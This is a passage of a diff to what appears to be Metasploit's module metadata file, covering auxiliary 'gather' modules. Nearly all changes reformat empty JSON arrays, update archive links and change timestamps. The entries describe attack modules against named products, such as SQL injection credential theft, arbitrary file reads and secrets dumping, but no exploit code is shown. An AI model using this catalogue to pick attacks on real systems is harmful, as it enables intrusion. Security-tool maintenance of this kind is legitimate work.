[ - - ] + "actions": [] }, "auxiliary_gather/nis_ypserv_map": { "name": "NIS ypserv Map Dumper", "fullname": "auxiliary/gather/nis_ypserv_map", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -25332,12 +21977,8 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/nis_ypserv_map.rb", @@ -25346,20 +21987,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/nuuo_cms_bruteforce": { "name": "Nuuo Central Management Server User Session Token Bruteforce", "fullname": "auxiliary/gather/nuuo_cms_bruteforce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-10-11", "type": "auxiliary", @@ -25376,12 +22012,8 @@ "platform": "Windows", "arch": "", "rport": 5180, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/nuuo_cms_bruteforce.rb", @@ -25390,20 +22022,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/nuuo_cms_file_download": { "name": "Nuuo Central Management Server Authenticated Arbitrary File Download", "fullname": "auxiliary/gather/nuuo_cms_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-10-11", "type": "auxiliary", @@ -25420,12 +22047,8 @@ "platform": "Windows", "arch": "", "rport": 5180, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/nuuo_cms_file_download.rb", @@ -25434,20 +22057,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/oats_downloadservlet_traversal": { "name": "Oracle Application Testing Suite Post-Auth DownloadServlet Directory Traversal", "fullname": "auxiliary/gather/oats_downloadservlet_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-16", "type": "auxiliary", @@ -25487,20 +22105,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/office365userenum": { "name": "Office 365 User Enumeration", "fullname": "auxiliary/gather/office365userenum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-09-05", "type": "auxiliary", @@ -25514,12 +22127,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-09-03 19:58:46 +0000", "path": "/modules/auxiliary/gather/office365userenum.py", @@ -25528,20 +22137,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/onedev_arbitrary_file_read": { "name": "OneDev Unauthenticated Arbitrary File Read", "fullname": "auxiliary/gather/onedev_arbitrary_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-10-19", "type": "auxiliary", @@ -25584,25 +22188,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/opennms_xxe": { "name": "OpenNMS Authenticated XXE", "fullname": "auxiliary/gather/opennms_xxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-08", "type": "auxiliary", @@ -25640,20 +22238,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/owncloud_phpinfo_reader": { "name": "ownCloud Phpinfo Reader", "fullname": "auxiliary/gather/owncloud_phpinfo_reader", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-11-21", "type": "auxiliary", @@ -25702,25 +22295,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/peplink_bauth_sqli": { "name": "Peplink Balance routers SQLi", "fullname": "auxiliary/gather/peplink_bauth_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -25767,22 +22354,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/pimcore_creds_sqli": { "name": "Pimcore Gather Credentials via SQL Injection", "fullname": "auxiliary/gather/pimcore_creds_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-08-13", "type": "auxiliary", @@ -25829,16 +22410,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/piwigo_cve_2023_26876": { "name": "Piwigo CVE-2023-26876 Gather Credentials via SQL Injection ", "fullname": "auxiliary/gather/piwigo_cve_2023_26876", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-04-21", "type": "auxiliary", @@ -25885,22 +22462,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/progress_moveit_sftp_fileread_cve_2024_5806": { "name": "Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read", "fullname": "auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-06-25", "type": "auxiliary", @@ -25915,12 +22486,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-07-03 17:12:03 +0000", "path": "/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb", @@ -25936,22 +22503,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/prometheus_api_gather": { "name": "Prometheus API Information Gather", "fullname": "auxiliary/gather/prometheus_api_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-07-01", "type": "auxiliary", @@ -25993,25 +22554,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/prometheus_node_exporter_gather": { "name": "Prometheus Node Exporter And Windows Exporter Information Gather", "fullname": "auxiliary/gather/prometheus_node_exporter_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-04-18", "type": "auxiliary", @@ -26054,25 +22609,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/pulse_secure_file_disclosure": { "name": "Pulse Secure VPN Arbitrary File Disclosure", "fullname": "auxiliary/gather/pulse_secure_file_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-24", "type": "auxiliary", @@ -26123,9 +22672,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "RelatedModules": [ "exploit/linux/http/pulse_secure_cmd_exec" ] @@ -26146,9 +22693,7 @@ "auxiliary_gather/python_flask_cookie_signer": { "name": "Python Flask Cookie Signer", "fullname": "auxiliary/gather/python_flask_cookie_signer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-01-26", "type": "auxiliary", @@ -26191,12 +22736,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, @@ -26218,9 +22759,7 @@ "auxiliary_gather/qnap_backtrace_admin_hash": { "name": "QNAP NAS/NVR Administrator Hash Disclosure", "fullname": "auxiliary/gather/qnap_backtrace_admin_hash", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-01-31", "type": "auxiliary", @@ -26260,8 +22799,7 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -26282,9 +22820,7 @@ "auxiliary_gather/qnap_lfi": { "name": "QNAP QTS and Photo Station Local File Inclusion", "fullname": "auxiliary/gather/qnap_lfi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-11-25", "type": "auxiliary", @@ -26335,9 +22871,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -26351,9 +22885,7 @@ "auxiliary_gather/rails_doubletap_file_read": { "name": "Ruby On Rails File Content Disclosure ('doubletap')", "fullname": "auxiliary/gather/rails_doubletap_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -26403,16 +22935,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/rancher_authenticated_api_cred_exposure": { "name": "Rancher Authenticated API Credential Exposure", "fullname": "auxiliary/gather/rancher_authenticated_api_cred_exposure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-08-18", "type": "auxiliary", @@ -26455,28 +22983,18 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ray_lfi_cve_2023_6020": { "name": "Ray static arbitrary file read", "fullname": "auxiliary/gather/ray_lfi_cve_2023_6020", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-11-15", "type": "auxiliary", @@ -26524,22 +23042,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/redis_extractor": { "name": "Redis Extractor", "fullname": "auxiliary/gather/redis_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -26553,12 +23065,8 @@ "platform": "", "arch": "", "rport": 6379, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/redis_extractor.rb", @@ -26571,25 +23079,17 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/roundcube_auth_file_read": { "name": "Roundcube TimeZone Authenticated File Disclosure", "fullname": "auxiliary/gather/roundcube_auth_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-11-09", "type": "auxiliary", @@ -26634,25 +23134,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/safari_file_url_navigation": { "name": "Mac OS X Safari file:// Redirection Sandbox Escape", "fullname": "auxiliary/gather/safari_file_url_navigation", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-01-16", "type": "auxiliary", @@ -26668,12 +23162,8 @@ "platform": "OSX", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/safari_file_url_navigation.rb", @@ -26682,20 +23172,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/saltstack_salt_root_key": { "name": "SaltStack Salt Master Server Root Key Disclosure", "fullname": "auxiliary/gather/saltstack_salt_root_key", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-30", "type": "auxiliary", @@ -26716,12 +23201,8 @@ "platform": "", "arch": "", "rport": 4506, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/gather/saltstack_salt_root_key.rb", @@ -26737,9 +23218,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -26753,9 +23232,7 @@ "auxiliary_gather/samsung_browser_sop_bypass": { "name": "Samsung Internet Browser SOP Bypass", "fullname": "auxiliary/gather/samsung_browser_sop_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-11-08", "type": "auxiliary", @@ -26772,12 +23249,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/gather/samsung_browser_sop_bypass.rb", @@ -26786,8 +23259,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -26800,9 +23272,7 @@ "auxiliary_gather/search_email_collector": { "name": "Search Engine Domain Email Address Collector", "fullname": "auxiliary/gather/search_email_collector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -26810,18 +23280,12 @@ "Carlos Perez " ], "description": "This module uses Google, Bing and Yahoo to create a list of\n valid email addresses for the target domain.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-11-17 15:08:27 +0000", "path": "/modules/auxiliary/gather/search_email_collector.rb", @@ -26830,20 +23294,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/searchengine_subdomains_collector": { "name": "Search Engine Subdomains Collector", "fullname": "auxiliary/gather/searchengine_subdomains_collector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -26851,9 +23310,7 @@ "Nixawk" ], "description": "This module can be used to gather subdomains about a domain\n from Yahoo, Bing.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -26880,20 +23337,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/selenium_file_read": { "name": "Selenium arbitrary file read", "fullname": "auxiliary/gather/selenium_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-10-01", "type": "auxiliary", @@ -26938,22 +23390,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/shodan_honeyscore": { "name": "Shodan Honeyscore Client", "fullname": "auxiliary/gather/shodan_honeyscore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -26967,12 +23413,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-06-17 14:22:07 +0000", "path": "/modules/auxiliary/gather/shodan_honeyscore.rb", @@ -26981,20 +23423,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/shodan_host": { "name": "Shodan Host Port", "fullname": "auxiliary/gather/shodan_host", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -27032,28 +23469,18 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/shodan_search": { "name": "Shodan Search", "fullname": "auxiliary/gather/shodan_search", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -27062,9 +23489,7 @@ "sinn3r " ], "description": "This module uses the Shodan API to search Shodan. Accounts are free\n and an API key is required to use this module. Output from the module\n is displayed to the screen and can be saved to a file or the MSF database.\n NOTE: SHODAN filters (i.e. port, hostname, os, geo, city) can be used in\n queries, but there are limitations when used with a free API key. Please\n see the Shodan site for more information.\n Shodan website: https://www.shodan.io/\n API: https://developer.shodan.io/api", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -27091,20 +23516,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/snare_registry": { "name": "Snare Lite for Windows Registry Access", "fullname": "auxiliary/gather/snare_registry", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -27141,20 +23561,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/solarwinds_orion_sqli": { "name": "Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation", "fullname": "auxiliary/gather/solarwinds_orion_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-24", "type": "auxiliary", @@ -27191,20 +23606,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/solarwinds_servu_fileread_cve_2024_28995": { "name": "SolarWinds Serv-U Unauthenticated Arbitrary File Read", "fullname": "auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -27215,7 +23625,7 @@ "description": "This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting\n SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to\n the vendor supplied hotfix \"15.4.2 Hotfix 2\" (version 15.4.2.157) are affected.", "references": [ "CVE-2024-28995", - "URL-https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995", + "URL-http://web.archive.org/web/20250213123538/https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995", "URL-https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis" ], "platform": "", @@ -27237,7 +23647,7 @@ "https" ], "targets": null, - "mod_time": "2024-06-19 13:20:52 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.rb", "is_install_path": true, "ref_name": "gather/solarwinds_servu_fileread_cve_2024_28995", @@ -27248,25 +23658,17 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/solarwinds_webhelpdesk_backdoor": { "name": "SolarWinds Web Help Desk Backdoor (CVE-2024-28987)", "fullname": "auxiliary/gather/solarwinds_webhelpdesk_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-08-22", "type": "auxiliary", @@ -27277,8 +23679,8 @@ "description": "This module exploits a backdoor in SolarWinds Web Help Desk <= v12.8.3 to retrieve all tickets from the system.", "references": [ "CVE-2024-28987", - "URL-https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987", - "URL-https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2", + "URL-http://web.archive.org/web/20250212002353/https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987", + "URL-http://web.archive.org/web/20250212002353/https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2", "URL-https://www.horizon3.ai/attack-research/cve-2024-28987-solarwinds-web-help-desk-hardcoded-credential-vulnerability-deep-dive/" ], "platform": "", @@ -27300,7 +23702,7 @@ "https" ], "targets": null, - "mod_time": "2024-10-31 10:56:56 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb", "is_install_path": true, "ref_name": "gather/solarwinds_webhelpdesk_backdoor", @@ -27311,25 +23713,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/splunk_raw_server_info": { "name": "Splunk __raw Server Info Disclosure ", "fullname": "auxiliary/gather/splunk_raw_server_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-06-08", "type": "auxiliary", @@ -27374,25 +23770,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/ssllabs_scan": { "name": "SSL Labs API Client", "fullname": "auxiliary/gather/ssllabs_scan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -27401,18 +23791,12 @@ "Francois Chagnon" ], "description": "This module is a simple client for the SSL Labs APIs, designed for\n SSL/TLS assessment during a penetration test.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/gather/ssllabs_scan.rb", @@ -27421,20 +23805,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/suite_crm_export_sqli": { "name": "SuiteCRM authenticated SQL injection in export functionality", "fullname": "auxiliary/gather/suite_crm_export_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-05-24", "type": "auxiliary", @@ -27497,9 +23876,7 @@ "auxiliary_gather/teamtalk_creds": { "name": "TeamTalk Gather Credentials", "fullname": "auxiliary/gather/teamtalk_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -27513,12 +23890,8 @@ "platform": "", "arch": "", "rport": 10333, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-08-15 18:10:44 +0000", "path": "/modules/auxiliary/gather/teamtalk_creds.rb", @@ -27527,13 +23900,10 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/tplink_archer_c7_traversal": { "name": "Archer C7 Directory Traversal Vulnerability", @@ -27587,22 +23957,16 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/trackit_sql_domain_creds": { "name": "BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure", "fullname": "auxiliary/gather/trackit_sql_domain_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-10-07", "type": "auxiliary", @@ -27619,12 +23983,8 @@ "platform": "", "arch": "", "rport": 9010, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/gather/trackit_sql_domain_creds.rb", @@ -27633,20 +23993,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/vbulletin_getindexablecontent_sqli": { "name": "vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection", "fullname": "auxiliary/gather/vbulletin_getindexablecontent_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-03-12", "type": "auxiliary", @@ -27691,9 +24046,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -27711,9 +24064,7 @@ "auxiliary_gather/vbulletin_vote_sqli": { "name": "vBulletin Password Collector via nodeid SQL Injection", "fullname": "auxiliary/gather/vbulletin_vote_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-24", "type": "auxiliary", @@ -27756,20 +24107,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/vmware_vcenter_vmdir_ldap": { "name": "VMware vCenter Server vmdir Information Disclosure", "fullname": "auxiliary/gather/vmware_vcenter_vmdir_ldap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-09", "type": "auxiliary", @@ -27785,12 +24131,8 @@ "platform": "", "arch": "", "rport": 636, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-02 13:57:13 +0000", "path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb", @@ -27806,9 +24148,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -27824,9 +24164,7 @@ "auxiliary_gather/windows_deployment_services_shares": { "name": "Microsoft Windows Deployment Services Unattend Gatherer", "fullname": "auxiliary/gather/windows_deployment_services_shares", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -27857,20 +24195,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/windows_secrets_dump": { "name": "Windows Secrets Dump", "fullname": "auxiliary/gather/windows_secrets_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -27904,12 +24237,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "Stability": [ - - ], + "Reliability": [], + "Stability": [], "SideEffects": [ "ioc-in-logs" ] @@ -27944,9 +24273,7 @@ "auxiliary_gather/wp_all_in_one_migration_export": { "name": "WordPress All-in-One Migration Export", "fullname": "auxiliary/gather/wp_all_in_one_migration_export", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-03-19", "type": "auxiliary", @@ -27985,20 +24312,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/wp_bookingpress_category_services_sqli": { "name": "Wordpress BookingPress bookingpress_front_get_category_services SQLi", "fullname": "auxiliary/gather/wp_bookingpress_category_services_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-02-28", "type": "auxiliary", @@ -28052,16 +24374,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/wp_ultimate_csv_importer_user_extract": { "name": "WordPress Ultimate CSV Importer User Table Extract", "fullname": "auxiliary/gather/wp_ultimate_csv_importer_user_extract", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-02", "type": "auxiliary", @@ -28099,20 +24417,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - 